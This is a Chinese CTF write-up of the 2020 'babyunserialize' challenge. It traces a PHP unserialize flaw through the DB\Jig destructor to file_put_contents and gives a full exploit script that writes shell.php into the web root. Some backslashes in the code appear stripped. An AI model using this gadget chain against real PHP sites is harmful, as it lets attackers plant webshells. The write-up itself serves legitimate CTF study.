2020国赛CTF审计题目babyunserialize

  • A+
所属分类:逆向工程

1.打开题目,云里雾里

2020国赛CTF审计题目babyunserialize

看到?flag=想到要么是文件包含,要么是文件读取。最后发现都不是,源代码泄漏拿到代码。

2.拨开云雾见日出

2020国赛CTF审计题目babyunserialize

原来,是直接把flag参数带入了unserialize函数进行反序列化了。

直接搜索__destruct,有三个

2020国赛CTF审计题目babyunserialize

2020国赛CTF审计题目babyunserialize

jig.php中的和ws.php中的看似都可以利用。

3.阅读代码形成利用链

DBJig类中的__destruct方法代码:

<?php
....
/**
* Write data to memory/file
* @return int
* @param $file string
* @param $data array
**/
function write($file,array $data=NULL) {
if (!$this->dir || $this->lazy)
return count($this->data[$file]=$data);
$fw=Base::instance();
switch ($this->format) {
case self::FORMAT_JSON:
$out=json_encode($data,JSON_PRETTY_PRINT);
break;
case self::FORMAT_Serialized:
$out=$fw->serialize($data);
break;
}
return $fw->write($this->dir.$file,$out);
}
....
/**
* save file on destruction
**/
function __destruct() {
if ($this->lazy) {
$this->lazy = FALSE;
foreach ($this->data?:[] as $file => $data)
$this->write($file,$data);
}
}

如果$this->lazyTRUE,那么会进入$this->write函数,此函数的参数来源于$this->data这个数组。数组的key为文件名,value为内容,继续看$this->write函数的实现。

如果$this->dir为空,或者$this->lazyTRUE,则返回count($this->data[$file]=$data)。因为在__destruct函数的流程中已经将$this->lazy设置为FALSE了,所以,我们只需要满足$this->dir不为空即可。

然后看到创建了一个类,先不管他,往下走。进入switch case循环,$this->format0则进入json_encode1则进入serialize

2020国赛CTF审计题目babyunserialize

那我们设置$this->format0即可。

接着调用Base::instance()类的write方法,跟进一下:

2020国赛CTF审计题目babyunserialize

直接调用类file_put_contents来写文件。综上,形成了一条写文件的利用链。

4.构造payload写shell

按照上面的思路,不难写出exp:

<?php
namespace DB{
class Jig {
public $format;
public $data;
public $lazy;
public $dir;
}
}
namespace {
$jig = new DBJig();
$jig->format = 0;
$jig->data = array('shell.php'=>['aaa'=>'<?php phpinfo();?>']);
$jig->lazy = TRUE;
$jig->dir = './';
echo serialize($jig);
}

2020国赛CTF审计题目babyunserialize

2020国赛CTF审计题目babyunserialize


源代码在公众号回复babyunserialize 获取下载链接。


发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: